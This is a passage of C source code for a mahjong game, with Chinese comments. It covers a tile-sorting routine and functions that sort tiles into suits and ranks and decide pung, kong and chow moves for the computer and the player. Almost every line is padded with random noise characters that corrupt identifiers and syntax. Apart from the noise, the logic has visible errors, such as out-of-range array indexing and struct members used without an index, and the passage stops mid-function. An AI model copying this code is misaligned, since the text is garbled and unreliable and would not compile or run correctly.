5 f5 d$ R, T$ N# c: C: M}
& s1 Z" W; B  M! D( P6 ~}
) a2 H: V" w) c1 r2 v4 _0 \void melipai()- b5 e8 B4 B& e  d" h7 M
{ int n,j,u;
/ C/ N9 r' n$ v2 l8 P, Yint *lingshi;  Y) R9 E0 ^& v9 W) I4 u
for(n=0;n&lt;me.m;n++)
$ a; g' j/ o+ f* {+ r* dfor(j=n;j&lt;me.m;j++)
# k$ ~7 y/ k! [( X+ d4 d  v# C/ x{: S9 C, ^3 }! l
if(me.pp[n].number&gt;me.pp[j+1].number)) ~. D. m7 Z2 g9 X; k/ C! O
{& V/ l6 U; B9 H+ C
lingshi=me.pp[n].k;
+ F; @, `4 l' B% F, cme.pp[n].k=me.pp[j+1].k;) Y% W5 j* t. {9 [  S9 K
me.pp[j+1].k=lingshi;
' H  |3 ?& F  _" D! k4 f3 pu=me.pp[n].oneorfour;
: h; i# H( J% s4 G* o0 T) dme.pp[n].oneorfour=me.pp[j+1].oneorfour;
) ?# [1 c/ g- f. Rme.pp[j+1].oneorfour=u;2 N9 h: q2 ^" s6 R+ f. L& m
u=me.pp[n].number;
7 f* A- V4 M2 d  M1 A. Y! Sme.pp[n].number=me.pp[j+1].number;
% L5 x( ?  Z: M2 d) s- b$ U; l1 eme.pp[j+1].number=u;: Z2 `1 i  i5 D2 S- o
}3 Y: o7 q, z0 q; A6 K
else# t& F2 v, f; w. H  R1 g
if(me.pp[n].number==me.pp[j+1].number)/ P+ ]# N% Q1 [% P9 ?
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)9 j" f, r7 ]# k
{
) o/ z- g, E) c/ x8 ?lingshi=me.pp[n].k;5 a" s, A) S. g
me.pp[n].k=me.pp[j+1].k;& s5 ^" R% i" H- O7 L; |  k
me.pp[j+1].k=lingshi;
: {" T* H( y1 _. I6 ^u=me.pp[n].oneorfour;
  }# }4 h: x" O5 T8 C. z9 `( I+ Zme.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 S1 A. Y. o+ @% Ome.pp[j+1].oneorfour=u;" \, l9 O) |5 `% ^  ^' a7 e
u=me.pp[n].number;9 @8 q& e7 Y9 W  G$ Q
me.pp[n].number=me.pp[j+1].number;- O5 @& I2 D# ^5 V4 ]3 }
me.pp[j+1].number=u;- s+ e0 Q5 {# M+ c% J
}+ S  e/ Q) c+ P2 t: s% d( c/ c
}
4 H! v' T8 y. c( a/ [/ A}
* \! F3 x+ E- s# s: C, V) Y8 Rvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
8 r4 w$ l5 }2 `0 D' }9 ^6 v" q( o6 R{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
1 r7 k% n, s# H! hif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)3 r7 Q2 Q* u1 Q/ Z0 R5 Z
{; A  m' U$ z, t1 Z5 ^7 z" T
logo=1;! Q, T/ X3 {$ v" t5 D+ ^* i
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
, [1 G4 i: S2 s7 v9 K1 l! Mlogoo=1;, X* [$ z& |/ m% x
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
' J6 o& t! A; E6 dlogoo=2;
/ g$ }' |6 X6 ~: Telse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
2 r5 D/ q3 \+ W0 \# ologoo=3;2 J9 n+ [+ F2 z" d2 `( D% \! L+ |
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
  E- l( c) x5 ?" l! q# P; Ulogoo=4;) X# Z/ I8 v. b
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)- n/ G0 }3 w( f# ]3 q9 J; B
logoo=5;- R3 J  y: J& J8 c8 I
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)  K) {( r  [8 S$ J0 t' R4 g0 [! u# E
logoo=6;$ ~' }4 \, f: R& u% V: {) D
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)0 k; J8 y* X) r; r
logoo=7;
5 _; ?. u4 W, y6 M7 celse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)% Y6 ?7 t6 S- H( J: L4 @
logoo=8;) k: `8 f; c' [4 O4 r; s
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)% e7 ^2 K1 q) Z* `1 ?$ k+ B
logoo=9;, i# |. ^; P, Q" L9 n' _
}! g/ v3 K1 }$ Z- t
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)  U% F0 `! g8 }- I6 l0 [
{& [* M3 _. t5 C8 o0 M9 }* `9 `" ~8 g
logo=2;
1 @( c$ J8 I5 B6 ?8 b4 Nif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
. x% i( I7 v! \% zlogoo=1;4 ?$ H  n8 R2 }: f. M
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)" H4 p& H6 G0 q
logoo=2;
* Q0 k* e  ^) celse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)4 S4 C$ A- v/ b5 @) @0 Z* Q
logoo=3;+ G2 d) O/ V- y. e' }, p6 S3 Q2 f* j
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)) @8 C0 L% J  F; y7 n( d" ^. e
logoo=4;- z5 u6 V$ `# o- a( [$ f
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)6 h* z" q, G! |
logoo=5;  P! f; W& c. _4 H! i1 h
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)8 ?0 O' @0 `5 Z3 i* g
logoo=6;/ Q& _7 W: m( d1 a
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
, v1 U6 r, d$ z% ^. q, r. _logoo=7;% z/ E% }+ M0 D0 I: A" \
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( g1 y3 X. e- e# A& f5 m6 Clogoo=8;
( ]* ?% L2 [1 N/ A! Z$ y- yelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
1 N. P$ y( i: h! r2 y8 i! b' |logoo=9;
5 I: b5 u- _+ Q  s}
8 Y- [* s5 T7 B0 nelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
6 Q$ p- C# h# R6 k; p3 D{
0 ]& m: T) J/ J5 h' `* ulogo=3;9 i- _) d" o& U2 n' N
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
" X0 u9 x* S5 v7 Q, ~; Tlogoo=1;
; u) X" V! a$ G' [2 Delse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
# x7 ?/ C3 S) u. @3 |6 G& tlogoo=2;
4 f! V, |- L  y( \+ Ielse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
; z0 `$ r* y( z; E, _& wlogoo=3;# B7 s! y8 ]. E0 ]9 c: t
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84): R5 r! l- W1 r" D
logoo=4;
+ a9 M' I- H! `1 L; `; N. ]" xelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)' `- s  F4 L( ?  E
logoo=5;: D* c% g6 w+ E
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)- e% ?  S. U* W. u! A
logoo=6;
* Y. e7 l/ C- {. k9 f. ielse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)' }' A5 x4 l% t/ E6 L; P
logoo=7;
  a& r4 `: a6 _else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)- k0 H: ?" c# ^9 o6 R9 \3 k9 X
logoo=8;
3 F1 @$ f$ @* n4 w3 ]2 oelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
" V6 R6 d6 P' F' ~. i# m+ N  y8 Xlogoo=9;
2 c- H5 I; T) e1 J, q$ w  O6 B}. h$ G8 X1 w6 `# [3 T
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
3 ^- R# O! S2 h0 r{
* a& f' g6 ?9 j! v4 V2 a1 v6 V# ~logo=4;% N" q; d( N+ i/ e
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)9 n) l3 _3 M# z6 v8 `
logoo=1;
" ~* P2 A0 \/ ?9 }8 S' Aelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)% w0 K% }* e* Y0 E1 [) `
logoo=2;
0 S0 A! p# \; d' }else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
$ w8 k3 q3 h( {5 k3 A+ Qlogoo=3;
7 P! {" `; ]9 }7 _else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
- I$ k0 {2 G" W" m) |! elogoo=4;
* l8 c8 k% U- f/ K# s% uelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)0 @& k; f" ^( |( q: {/ @$ }6 p* i% o
logoo=5;
1 R& j) P4 n8 F7 M- D! P+ B8 j% felse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
6 d+ \7 |2 q* r2 X/ P, C! Qlogoo=6;
$ X; ]5 P1 n2 _5 ielse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
. v' W1 |' j; p0 d6 plogoo=7;
7 C8 b1 f9 a. S9 m* k9 L}
5 o2 S; v0 B" o4 Jwhile(b&lt;=computer.m)% ]$ U% }2 A5 E* K8 M4 O
{
$ F: R; q5 _4 `  Yif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/0 a! Y6 p- {2 V) E8 C4 S
{0 T! [1 _3 |) l4 _  y/ G/ X
lg=1;0 l6 K2 y& g* K& _
computer.pp.d[0]=1;
5 w' ~& W: D1 j! w3 g! N7 Y" L5 s4 jif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
7 E1 G; W* D5 E- W  ^1 S{6 Q/ u! |+ S4 g0 p! e
lgg=1;
- D# M8 ^: N. G7 \computer.pp.d[1]=1;
% B; s# P. `* C' b1 Z" k}
+ u6 Q# L; d8 @" \% U  kelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4), G5 T- S' h: q3 E* u
{8 G9 ^* F0 o* P
lgg=2;
* U' y0 Z' R7 R& {! Y- I; {computer.pp.d[1]=2;
0 z- x8 D+ E6 a}
8 q, G7 w; A. J; M- L, Z- helse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)! \2 J- n; K( [( c0 q: V
{
- h: L7 |8 f% Y# o. rlgg=3;( d5 s) {# ?3 h- u8 n6 d
computer.pp.d[1]=3;
, V' Z2 |, u; G, {+ T& ~  O}7 a, m0 ^4 x3 E, I( y# h
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
  L" l4 ~0 L3 q: Y{
$ A, F! c$ h! I, F) @4 rlgg=4;0 O9 x6 ]6 @. W2 N- ~0 t
computer.pp.d[1]=4;6 G1 ]! S) e1 I  d7 G; @
}2 z, G# l+ \5 H, H- _! s) F
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
) f, j/ V$ s& @0 e% [( M{4 f8 C5 K1 c' I, A# N1 `0 x+ w
lgg=5;
7 K, w5 Q4 f8 ^computer.pp.d[1]=5;2 u4 i, Q! F0 G  x7 b; Y8 }" {
}1 g) W5 }0 D9 J6 d+ }; Z
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
3 e# g* _9 a+ h4 O1 \{
0 U9 U- \, f$ M1 D- |lgg=6;* N) `3 `. U  F$ }
computer.pp.d[1]=6;* Q. l  `' Z" S+ V9 q' \9 f1 }
}3 W6 ?  n8 I& Q4 I' N  d/ s
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
; |# _% ^! b- _2 Q2 I{' M( B0 F) B7 w2 b3 d# X- g/ F0 W
lgg=7;
. T6 U, i7 u& ^- ~% t9 r4 A5 `) mcomputer.pp.d[1]=7;- m* m" r& S3 K' f* L& W, e
}
% |- a' R7 N9 J0 ^else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
& r1 n' `8 a* k{
. d3 G# ]) I5 i3 l- o: e  S! hlgg=8;1 s) Y) i1 Q, H( C" _& ^
computer.pp.d[1]=8;9 W0 e3 E6 R' Q3 Z% z" A/ v3 X% R
}9 O0 G2 G# F1 R
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
4 E" ^* U3 B8 H. E& {9 U{  R8 `- _" O: \; P
lgg=9;
6 b& f+ R/ b, R' F9 ccomputer.pp.d[1]=9;4 y" e) q2 c* X$ X8 P& B$ L
}
3 K: v( Z; a3 j1 r+ q4 V}
& h8 K, _9 O: [, I) V1 kelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)/ l0 b& o* k5 Z$ V& Y9 t
{2 H1 ^8 |# j$ ~7 U, s
lg=2;- j- O- j2 N+ c  g8 a7 [) u' }
computer.pp.d[0]=2;
& T+ p" V; x% t, V' T. Lif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36). p/ s- x' h: v; [
{
5 G8 g4 n8 y7 k5 s4 i- D0 V1 T& n; Dlgg=1;3 H3 z! f% A( U6 ~
computer.pp.d[1]=1;
6 y1 t0 n# u1 |}2 p3 s* Q5 ]6 N" Z6 q
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
  p3 ?' Q, V  T{
/ z3 @! ]  g" s4 g7 g1 y; \lgg=2;
- T- ]8 i1 u4 m) Fcomputer.pp.d[1]=2;
% h& L! Y- F) c( @; Y: i: c# `! }}
& X  E, N* [1 B! lelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)4 S, X: r, }2 z& V- ^
{  i: w; @8 P/ x3 Q. _/ [6 Q1 ?
lgg=3;* L( i* J+ m9 q7 T! X% {7 H: b7 v
computer.pp.d[1]=3;6 D2 W0 R, q( |" h& C
}
) R9 z# j3 Z% R7 \% \& q. W  Melse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)  B. @6 E# I2 f) Q3 L
{
' _, O3 U% j! i* H5 T5 Q5 A( {lgg=4;
# v9 O0 w1 [% m5 ]& mcomputer.pp.d[1]=4;
3 F! k1 H. G( e( n& [}
) o( w& e( y4 D- m& ~; f! S8 e) gelse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52), p& r# I( w2 G- x; g7 n- N
{' n) ?4 O; _% @8 q
lgg=5;. h' O( T# }! n
computer.pp.d[1]=5;, z1 \$ G" ~& Y- I, _! O
}
+ O9 l9 M4 k8 h% Z" Z  F( nelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
/ u" }" `3 z: r2 b2 B; j# q! O{
; o& h7 R# \" P3 e# O6 R5 |% I# P. ~lgg=6;( F  D8 m. v! v, X* T+ _: s" U
computer.pp.d[1]=6;
1 k6 r) a; H# {( y; x8 Z+ V7 R}& G9 k0 `, q  A$ h0 ?: Q# f
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)! Z& N  {! }  F+ F$ c9 P- ?6 e
{
( i; `4 T8 U4 O8 C5 Flgg=7;
/ Q# Q* z4 q  |# c6 I. @! }computer.pp.d[1]=7;0 |' o  P$ j% X- d; v3 N  O  \
}" Z" C" X) \! A: O( g7 n2 m
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
8 X" z1 K6 A: s) X1 t( R8 D+ w( z' v{# z, O! \3 o7 p. J- N1 ~
lgg=8;" R) \/ s9 w6 H2 _" F+ H
computer.pp.d[1]=8;
! K  q- B* k# |- M5 _}
- B% b3 y3 i- gelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)( x; e# P% Q' w$ B- U% V7 O
{
) B- Y9 _9 m- m0 c6 {1 Slgg=9;
! q$ `! ~! g1 m- a: v7 U1 ]( Ocomputer.pp.d[1]=9;4 v8 \: B4 |8 j$ ~3 z/ t" {5 j
}
! \5 f5 \+ K4 T; q; [, M& W; I}
8 T- o1 P& p  c  z. Y/ Z2 Aelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)$ }& G0 O. V  P. i1 `  Q2 c
{4 _: ?0 l  ?' W# H$ t* r) q6 G# i
lg=3;
4 {# @& X0 t) M) _# U) f$ i! `6 }computer.pp.d[0]=3;2 N! R, E; ]% W6 B
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
. H) \6 Q  ~2 ^( k{
: ~* b; t. P  d. f2 m. Z1 x8 |lgg=1;6 ^& G+ b$ k9 w* v0 w6 e
computer.pp.d[1]=1;
3 O1 J- d4 F3 Z+ ^0 b9 [/ b}# [& E! Q/ T& Y' W6 Q* y5 X" y
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)5 Z  {5 }: P9 v+ v/ p4 w$ n* V7 O
{
" ]2 A+ M# S/ U9 z' o: ?lgg=2;
4 j  ]% O( P5 dcomputer.pp.d[1]=2;
8 T1 Q& G% k3 L0 S8 i4 i9 g! Q}
: K; E- \0 f2 u* \$ l3 i4 g1 x3 [6 }else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)% w* O7 w! f6 \7 u
{  U* B. A; c9 w$ J7 B1 k* S9 Y, F
lgg=3;
  j+ i- H6 u0 X9 m# M" Ocomputer.pp.d[1]=3;& G7 w3 q/ u/ n3 c0 L# s7 |3 N
}
9 F. a+ X& O/ _/ x$ celse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
% [% B0 N  R4 ^% T+ f9 @8 W- r{
2 ?" p$ P% z  ~/ U* xlgg=4;8 m% N; ^9 L0 R6 ?9 g3 ~
computer.pp.d[1]=4;
9 `: Q- O, C  i; J( s9 S}
9 }3 `7 h# Q( m! ^9 m% U; Qelse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)* \! ~( `2 |4 {( g6 @8 h
{
7 s7 T4 n" c: l% ~, o% h0 i  jlgg=5;7 N8 ^- {( i5 h4 h
computer.pp.d[1]=5;
8 U, [% ~. X! n8 G! X! P4 u5 c% X}, r4 `7 N2 n- E  b8 g& i8 y
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
8 D$ ^# D" `& E! V6 J- T- \{5 S0 E8 v: }: q+ t, f/ y) y7 C
lgg=6;0 j% a2 k1 G7 h9 F7 N
computer.pp.d[1]=6;5 U9 y" L; D, q5 f* |
}
- I0 ?2 z9 z4 |else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)/ l! F7 g' Y1 _5 u. f- C
{
# Z7 {$ Y7 V  mlgg=7;
$ r. ], `. Z; b& L! Ecomputer.pp.d[1]=7;) k+ C: F: u1 N# J
}6 w* y2 W% E8 i3 ?7 V
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)/ O% x9 v, f1 y% M$ P, p4 ?
{7 L* [0 |4 ?+ U$ `% u+ T
lgg=8;
8 ~! M3 y  G" x( Gcomputer.pp.d[1]=8;
1 b4 H) G( i1 Q. F}7 Y2 f2 h% b4 y/ ~% ~
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
5 ^! C$ w- U: p4 i# V) e9 Y, Q& f* H{! f' N! r$ e" m/ [
lgg=9;
& o( L1 F' n6 Z  T0 @" {computer.pp.d[1]=9;
1 Q" h% x, I6 t) v  _& S" r}1 d, w+ j) _; V) C; n
}5 d+ ^. J, z; e4 w9 \
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
/ C# P! X4 i/ ^2 |3 J0 a% D{3 m! r( @7 y4 A' [* L
lg=4;
; x  c7 ?; K  |- h0 Bcomputer.pp.d[0]=4;
3 {" l. k! c7 A+ k6 Z+ {  hif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
. D; Z7 f8 s) R{
& L- _: x& s8 w. @( J( J* w+ hlgg=1;: E5 {9 ~; t+ Z' T; ~# X' `
computer.pp.d[1]=1;% _# H+ J) B$ {& y
}2 g% @: w* ~. F& _$ x1 x' T/ M
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
. q4 E4 [( X. |  o. s3 e7 |( C{. T' v  m! q! Q6 g
lgg=2;
0 R6 y7 ^( ^; M. b" {computer.pp.d[1]=2;9 r- k& {" Y0 M  d  x; Y
}4 w2 T9 l3 H) j4 ?/ Q! Y$ |
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
9 E5 F8 f) f2 b: M7 i8 J7 [{8 X! R9 ^" J: {, m2 _/ H7 ^- y% i% b
lgg=3;* ?. A# E/ M4 O. |' N& u
computer.pp.d[1]=3;
) H( s2 s5 m" a1 g7 f3 s}
" O' c2 D/ N- L4 G! Ielse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
8 i% `2 U/ y  N+ H0 h( Y8 P{
' l1 C( e8 j+ i+ [9 }' {+ l6 \lgg=4;7 x# X4 v0 `0 O
computer.pp.d[1]=4;  d: ^$ f! g7 L4 \. Y2 U3 l' _& f. U
}
1 W/ f: g  H/ q! L3 |else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
3 X+ X- t1 [4 u. J8 E0 ?) Z{/ a5 q7 X- n0 d
lgg=5;
% J1 `* e4 A' L; I! |" R) H) [computer.pp.d[1]=5;. l8 ~! W$ Z  J: _5 Q# p) C# k
}
4 [0 N5 Y7 u; ]6 T: R1 Relse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)  e4 j1 _; B1 p8 m% }5 p
{
  t6 o& H1 A# x& nlgg=6;
3 e) W0 m# w4 m) Fcomputer.pp.d[1]=6;
  O- B& X7 e! j# q}
6 z4 R' D  Z3 b( ~. m9 c9 helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)5 D, }' X( ?% O
{% {6 o: A( l1 C5 g
lgg=7;6 N0 v: J; F  K" R4 `
computer.pp.d[1]=7;' D, I# {! |) ~2 d2 F1 O% E; D
}
; y) K+ H( K8 \}2 h6 Z, \: z8 d2 q( N! z/ J

, i% w% y. `1 g/ Y, oif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/8 Z  m9 u% ^! v
if(logoo==lgg)3 b/ o, Y& h% S
pg++;- v( G& T) Q/ }+ c
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
* o  j0 I/ {! s2 J3 Ach.lgg=lgg;0 \7 ?# j; Y9 y
lg=0;
. {: [9 t& L" J5 |- W* Ulgg=0;* \+ ]. d% P- H# w8 p  X& d# j
b++;
+ M# @* f, O: B( ^}/ L0 e: `/ N+ q& r+ |* F
if(pg==2) /*乓*/
) ]$ m4 x- c! r) p9 M8 s, w{
' O, S6 E# l- x' d7 }, ^1 N7 c0 I6 n9 X3 o, m6 W
sing=1;
9 q7 K6 [! w- }( ~% L" ?: Mb=computer.m;
0 B5 k' C8 M. A+ ^/ dwhile(b!=-1)& a: T  ?) \2 e& t3 h! B
{
- L. U/ w9 k- ~) q3 {0 r2 L1 kif(strcmp(me.pp[c].k,computer.pp.k)==0)
- O5 |& Q" Z, Ycomputer.pp.p=1;* _2 d6 G# }* k* h: K. X
) z8 H! k  |' H% Z$ o
b--;* o+ Z; E# N# `) z
}
9 I% M0 P% p* L! S/ n! }}$ N3 |2 u* y% _' Q9 J8 F
if(pg==3) /*杠*/  a4 e2 ~7 i; v! P- _  o
{* N5 s, W" l9 U$ \3 h+ R
6 E# Y( R5 z8 S( b0 W4 [2 G
sing=2;2 T& s+ _1 ~5 k  ^: e; N1 o' b
b=computer.m;" X/ h- }- v! A
while(b!=-1)! \; \* _2 Z+ D! ?' c* e: L/ B" G
{
% u; x  v0 w4 O* R, Z  ?; |if(strcmp(me.pp[c].k,computer.pp.k)==0)$ P: n3 Q2 |8 z# D! E
computer.pp.g=1;
5 N3 w. g4 R9 B0 Ob--;
3 B& ~6 z+ b8 n}1 V% Q+ @$ Z, y
}
# J: }( t( _* nf=0;, O1 P1 Y6 ]* k' ?
while(f&lt;computer.m) /*吃的判断*/# U* I6 r$ w; X9 p9 z
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
3 p" ~* f  W; e. j{
: ^0 C/ ~2 j2 T( @. eif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/2 }( e+ u8 f5 O8 u6 [
if(ch[f].lgg-logoo==1); M* H3 n' a6 H% K7 m% A
{& v3 |& S3 g$ \) i: P6 s
gp++;! i! ^) \1 T! `3 [7 [. `  x2 F7 S  c
computer.pp[f].c=1;
5 I/ j2 ?3 [- _+ Xcomputer.pp[f+1].c=1;
8 p9 S2 X3 z, n/ c}
6 A: S  J: L$ n) H( rif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
0 k: D% C, S& H5 G2 V- Z) Uif(ch[f+1].lgg-logoo==-1)* X8 j- M9 V- w) A4 _6 |
{7 ~, |" @, ^* h- b9 y, D* b
gp++;
; o7 ^9 ~* p( \% ]0 p% e& r( scomputer.pp[f].c=1;
- z! E6 j" Z9 G& l' Mcomputer.pp[f+1].c=1;1 D5 F$ e# Z0 s2 \$ b1 H' c% W
}
% d4 r7 G% O" [% A7 u4 Nif(ch[f].lgg-logoo==-1) /*中吃*/# @4 @7 u# H0 T& O
if(ch[f+1].lgg-logoo==1)
9 x, W. ]% @, f9 G{
# t4 f1 I. H( Y' e# Y9 j2 C- j4 `/ bgp++;3 p, Y. ]* d- J: C* v
computer.pp[f].c=1;' ^3 n( O, |& m5 S) N, v* `
computer.pp[f+1].c=1;- d  S+ R2 x& x3 [9 ?) }- D
}' E, a) d' K* {
if(gp==1)/ `% f% k& R7 W& T6 ]% A' d- ~/ P
break;
, C, U" c2 v; W( m& H$ w* q}
) \/ J3 U" }1 T0 k$ e( q1 O, k6 W& Jf++;6 n4 g: ]  C! r: g) c$ ~# i4 d
}
0 n# K3 N$ _  }; u, hif(gp==1), L# ]4 f' m5 Q2 ]* T: a/ v, V
{sing=7;
& v* W3 Y: x# y, k, y! @& u4 F. [8 E4 X/ ^9 M& g# U9 N8 K
}# b7 b; h. Y5 l$ S/ |0 [
pg=0;
8 u+ F" n( y4 v, N: zgp=0;  K! ^, |; b; f7 Y, s3 A
b=0;
/ I4 `/ X3 N, T}
- t: {" a- _+ w3 E4 J; J( F3 h( ^void rgznme(int c) /*本程序涵数的核心针对我的牌*/
) S, h" v  q( [' r2 f- p: r. Z9 U{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
! n/ N8 L# W, S% Z. Fif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
, K+ c% z9 _& G5 W$ f{7 ]+ o, v4 Z; b
logo=1;5 `9 F, t2 L+ p8 i
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)) a1 `4 q! a/ t% ~% j4 H5 Z
logoo=1;+ F- @. o, P4 `+ }9 {+ l
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
/ V. ^  f) {# Z6 Ilogoo=2;
  M# J. Q# l& a1 O8 p' ^else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
/ P' }' c( m" klogoo=3;* @% F2 u+ w5 U
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
4 r2 H4 M) W! g, E. x6 f0 llogoo=4;% F0 c& i* P+ z2 i1 H4 E
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)6 q: ]' ^( E' e' ~$ O! C5 e
logoo=5;5 M7 s# _/ F* f5 a' T* s  ~8 ?7 c
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
1 E, z3 L7 H( _/ N& e) }2 `logoo=6;( p( h6 H' `9 h) k. g& ~6 ?
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
) w( i+ K7 D0 J% ]; mlogoo=7;
: H1 a9 S1 J; a2 Selse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)  C. n0 F. y0 P7 r* k6 M# ^
logoo=8;
9 o5 c( A7 b" D7 y" Ielse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
7 X* |9 x  `6 c6 w# w% Tlogoo=9;
$ J9 X% x( ^6 l" m}1 w4 n; F7 H% Z- @+ ~  q  N
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36), R* g$ L. U2 w7 c$ A) G( l: K6 E
{9 R( T3 [0 m0 u+ f) F& ~
logo=2;% J. O% \/ q0 z; Y$ T# ^- b
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
& Z6 C! }/ C2 S2 y7 klogoo=1;
